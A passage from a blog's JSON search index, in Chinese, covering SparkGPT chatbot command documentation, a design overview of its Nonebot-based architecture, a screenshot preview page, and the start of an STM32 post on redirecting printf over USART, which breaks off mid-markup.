id=\"指令\"\u003e指令\u003c/h4\u003e\n\u003ch5 id=\"添加一个新的指令\"\u003e添加一个新的指令\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand add -n {name} -c {content}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003cli\u003econtent: 指令内容\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"删除一个指令\"\u003e删除一个指令\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand del -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看指令列表\"\u003e查看指令列表\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand list ( -p {num} )\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n选填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003enum: 页数\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"查看特定指令具体内容\"\u003e查看特定指令具体内容\u003c/h5\u003e\n\u003cp\u003e格式: \u003ccode\u003ecommand show -n {name}\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e参数:\u003cbr\u003e\n必填:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003ename: 指令名称\u003c/li\u003e\n\u003c/ol\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/sparkgpt/"},{"title":"SparkGPT 思路分析","time":"2023-09-10T00:00:00Z","content":"\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\n\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"nonebot框架\"\u003eNonebot框架\u003c/h2\u003e\n\u003cp\u003e由于SparkGPT由Python开发, 在Python中运行, 而Python目前最佳的bot框架为Nonebot框架,所以 目前2.0.0版本深度绑定Nonebot框架进行开发.\u003c/p\u003e\n\u003cp\u003e预计将在下个大版本 将SparkGPT独立实现协议, 再实现不同语言框架的协议对接\u003c/p\u003e\n\u003ch2 id=\"配置管理\"\u003e配置管理\u003c/h2\u003e\n\u003ch3 id=\"webui\"\u003ewebui\u003c/h3\u003e\n\u003cp\u003e实现了\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e来是实现webui管理配置信息, 借助pydantic的\u003ccode\u003eBaseModel\u003c/code\u003e来实现序列化反序列化并持久储存和方便的存取.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e提供了一个父类给其他插件,直接继承并填写相关注释和属性即可实现持久储存和web编辑, 并且提供了从\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e实时获取配置的方法,而无需重新反序列化.\u003c/p\u003e\n\u003cp\u003eToDo:\u003cbr\u003e\n预计将会实现pydantic -\u0026gt; json schema的转换用于通信, 并重写前端页面\u003c/p\u003e\n\u003ch2 id=\"数据储存\"\u003e数据储存\u003c/h2\u003e\n\u003ch3 id=\"用户会话数据储存\"\u003e用户会话数据储存\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e使用pydantic的\u003ccode\u003eBaseModel\u003c/code\u003e方便 序列化和反序列化\u003c/li\u003e\n\u003cli\u003e使用\u003ccode\u003eNonebot_plugin_bind\u003c/code\u003e的统一id作为用户标志储存, 实现跨平台跨账户的数据共享\u003c/li\u003e\n\u003cli\u003e所有的会话数据以json形式储存在以用户id命名的文件中, 单用户单数据, 保证数据的隔断性\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"预设指令模型数据\"\u003e预设,指令,模型数据\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e继承自\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e提供的父类, 直接实现了持久储存和webui编辑\u003c/li\u003e\n\u003cli\u003e实现了一个装饰器, 方便的给每个子类生成一个从\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e获取数据的方法\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"消息事件处理\"\u003e消息事件处理\u003c/h2\u003e\n\u003ch3 id=\"消息接受\"\u003e消息接受\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_alconna\u003c/code\u003e进行命令形式的消息事件匹配,分发给不同的函数进行处理\u003c/li\u003e\n\u003cli\u003e实现\u003ccode\u003eNonebot_plugin_bind\u003c/code\u003e 进行不同账户(可跨平台)信息的绑定, 将同一人的所有聊天平台的数据统一起来\u003c/li\u003e\n\u003cli\u003e实现了会话的持久储存和一个从信息中获取会话依赖注入, 可以从一条信息中获取用户私有的或公有的会话, 分发给不同模型的Chatbot处理\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"回复生成\"\u003e回复生成\u003c/h3\u003e\n\u003ch4 id=\"模型回复\"\u003e模型回复\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e实现\u003ccode\u003eBaseChatBot\u003c/code\u003e父类, 实现使用 异步生成器 实现 流式发送(每次发送消息的两段左右,如果平台支持编辑消息,那么直接加到原来的消息后面,否则发送新的消息) 和 一次性发送(可以自适应长度文转图转链接, 也可以强制设定使用文字或图片回复), 这里其实就是消息发送的步骤.\u003c/li\u003e\n\u003cli\u003e所有的\u003ccode\u003eChatBot\u003c/code\u003e子类只需添加特有的属性(用于储存会话信息)和\u003ccode\u003eBaseChatBot\u003c/code\u003e父类要求的属性, 以及一个异步生成器方法(逆向或使用官方api)和一个刷新会话方法, 即可实现一个新的api的接入\u003c/li\u003e\n\u003cli\u003e涉及的实现的逆向工程的链接\u0026quot; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Bing-Client\" target=\"_blank\" rel=\"noopener\"\n\u003eAsync-Bing-Client\u003c/a\u003e \u0026ldquo;, \u0026quot; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Poe-Client\" target=\"_blank\" rel=\"noopener\"\n\u003eAsync-Poe-Client\u003c/a\u003e \u0026ldquo;, \u0026quot; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Claude-Client\" target=\"_blank\" rel=\"noopener\"\n\u003eAsync-Claude-Client\u003c/a\u003e \u0026quot;\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"普通回复\"\u003e普通回复\u003c/h4\u003e\n\u003ch5 id=\"菜单和帮助\"\u003e菜单和帮助\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003e实现了Nonebot_plugin_templates, 提供一些模板和构造方法, 直接构造出菜单的html并用htmlrender渲染截图返回结果.\u003c/li\u003e\n\u003cli\u003e实现了一个Menu类来将 文本菜单 和 Nonebot_plugin_templates生成的菜单同时实现, 并且缓存图片, 减小开销, 提高效率\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"基本查看和管理\"\u003e基本查看和管理\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003echat的list在\u003ccode\u003e用户会话数据储存类\u003c/code\u003e的基础上加了一个方法, 并借助Nonebot_plugin_templates生成 会话的列表图片并缓存和动态更新, 减少开销, 提升效率\u003c/li\u003e\n\u003cli\u003eprompt和command的图片回复在\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e的子类的基础上借助Nonebot_plugin_templates实现图片列表和具体展示\u003c/li\u003e\n\u003cli\u003e其他文本形式的回复直接发送即可\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"消息发送\"\u003e消息发送\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_saa\u003c/code\u003e进行跨适配器(跨聊天平台)的发送消息,可以实现图文发送\u003c/li\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_htmlrender\u003c/code\u003e进行文转图, 实质上就是使用playwright使用我的自制模板进行前端渲染并截图\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003edpaste.org\u003c/code\u003e 的 逆向api 进行文转网络剪切板链接, 方便用户拿去回答和信息\u003c/li\u003e\n\u003c/ol\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/sparkgpt-%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"SparkGPT 预览","time":"2023-09-10T00:00:00Z","content":"\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\n\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"sparkgpt使用示例\"\u003eSparkGPT使用示例\u003c/h2\u003e\n\u003ch2 id=\"webui\"\u003eWebui\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui.png\"\nwidth=\"2560\"\nheight=\"1363\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui_hudfc518bf0e3dff5f58a40d0e9292d707_109343_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui_hudfc518bf0e3dff5f58a40d0e9292d707_109343_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"使用webui配置相关信息 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"187\"\ndata-flex-basis=\"450px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"帮助\"\u003e帮助\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp.png\"\nwidth=\"576\"\nheight=\"543\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp_hu944c3e2c5f8f713cb74e42c3e320bf12_505859_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp_hu944c3e2c5f8f713cb74e42c3e320bf12_505859_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取帮助说明 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"106\"\ndata-flex-basis=\"254px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help.png\"\nwidth=\"1103\"\nheight=\"1104\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help_hu251595a42a1b5b8f82ad76b655cf6edf_1104940_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help_hu251595a42a1b5b8f82ad76b655cf6edf_1104940_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取某个命令的子命令格式 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"99\"\ndata-flex-basis=\"239px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"模型\"\u003e模型\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list.png\"\nwidth=\"573\"\nheight=\"537\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list_hu23029734091389392b7f3cc6c00ab338_504350_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list_hu23029734091389392b7f3cc6c00ab338_504350_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有模型 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"106\"\ndata-flex-basis=\"256px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"会话\"\u003e会话\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list.png\"\nwidth=\"659\"\nheight=\"706\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list_hu0073cb7dda307cc6b080e3dc900b34a8_691617_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list_hu0073cb7dda307cc6b080e3dc900b34a8_691617_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有会话 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"93\"\ndata-flex-basis=\"224px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat.png\"\nwidth=\"655\"\nheight=\"1100\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat_hud4482fb84500528454f3593a7514105d_1059521_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat_hud4482fb84500528454f3593a7514105d_1059521_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 创建一个新的私有会话并使用 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"59\"\ndata-flex-basis=\"142px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat.png\"\nwidth=\"639\"\nheight=\"767\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat_hub91b792aa6ea24cd0e152fda59917491_555628_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat_hub91b792aa6ea24cd0e152fda59917491_555628_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 创建一个新的公有会话并使用 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"83\"\ndata-flex-basis=\"199px\"\n\u003e\u003cbr\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del.png\"\nwidth=\"653\"\nheight=\"278\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del_hu470a197b58cd883b82a911a603d25821_243419_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del_hu470a197b58cd883b82a911a603d25821_243419_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 删除一个会话 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"234\"\ndata-flex-basis=\"563px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit.png\"\nwidth=\"657\"\nheight=\"303\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit_hued1d147889be06e39648a664af08d1ad_225903_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit_hued1d147889be06e39648a664af08d1ad_225903_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 编辑一个会话 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"216\"\ndata-flex-basis=\"520px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"预设\"\u003e预设\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list.png\"\nwidth=\"636\"\nheight=\"575\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list_hu2a03ea50776fff542bb050407f9d74b3_517821_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list_hu2a03ea50776fff542bb050407f9d74b3_517821_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有预设缩略信息 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"110\"\ndata-flex-basis=\"265px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show.png\"\nwidth=\"645\"\nheight=\"643\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show_hue285e6203402b430e11d1ef58ecd77df_404262_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show_hue285e6203402b430e11d1ef58ecd77df_404262_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 查看某个预设 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"100\"\ndata-flex-basis=\"240px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add.png\"\nwidth=\"638\"\nheight=\"294\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add_hu8d9c1abd7b76c69a4f57521c2565bb16_195901_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add_hu8d9c1abd7b76c69a4f57521c2565bb16_195901_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 添加新的预设 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"217\"\ndata-flex-basis=\"520px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del.png\"\nwidth=\"646\"\nheight=\"304\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del_hu0c533b535e009a9a041576f870965eb8_279579_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del_hu0c533b535e009a9a041576f870965eb8_279579_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 删除一个预设 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"212\"\ndata-flex-basis=\"510px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"指令\"\u003e指令\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list.png\"\nwidth=\"658\"\nheight=\"309\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list_hudf42e09201443fce7f9a642b48866969_274942_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list_hudf42e09201443fce7f9a642b48866969_274942_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有指令缩略信息 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"212\"\ndata-flex-basis=\"511px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show.png\"\nwidth=\"636\"\nheight=\"541\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show_huaa6fe30c97db4a6fbb3f7b189f90ba8e_310978_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show_huaa6fe30c97db4a6fbb3f7b189f90ba8e_310978_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 查看某个指令 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"117\"\ndata-flex-basis=\"282px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add.png\"\nwidth=\"654\"\nheight=\"315\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add_hucf6b8b789b7e075a413aee63eed81613_210970_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add_hucf6b8b789b7e075a413aee63eed81613_210970_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 添加新的指令 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"207\"\ndata-flex-basis=\"498px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del.png\"\nwidth=\"649\"\nheight=\"292\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del_hu4ae45de794030bbc9548e0c4cd8cbc9e_260364_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del_hu4ae45de794030bbc9548e0c4cd8cbc9e_260364_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 删除一个指令 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"222\"\ndata-flex-basis=\"533px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"群二维码\"\u003e群二维码\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode.png\"\nwidth=\"1284\"\nheight=\"2283\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode_hu51b203c4463a8d8fd4df1bc6f83211bb_239525_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode_hu51b203c4463a8d8fd4df1bc6f83211bb_239525_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nclass=\"gallery-image\"\ndata-flex-grow=\"56\"\ndata-flex-basis=\"134px\"\n\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/"},{"title":"归档","time":"2022-03-06T00:00:00Z","content":"\u003chr /\u003e","url":"https://canxin121.github.io/archives/"},{"title":"Led灯控制(Usart)","time":"0001-01-01T00:00:00Z","content":"\u003ch2 id=\"cpp中的重定向printf\"\u003eCPP中的重定向printf\u003c/h2\u003e\n\u003cp\u003ecpp不允许重定义 =\u0026gt; 不按照cpp规则编译即可\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eextern\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"led控制亮度--led-类\"\u003eLED控制亮度 =\u0026gt; LED 类\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 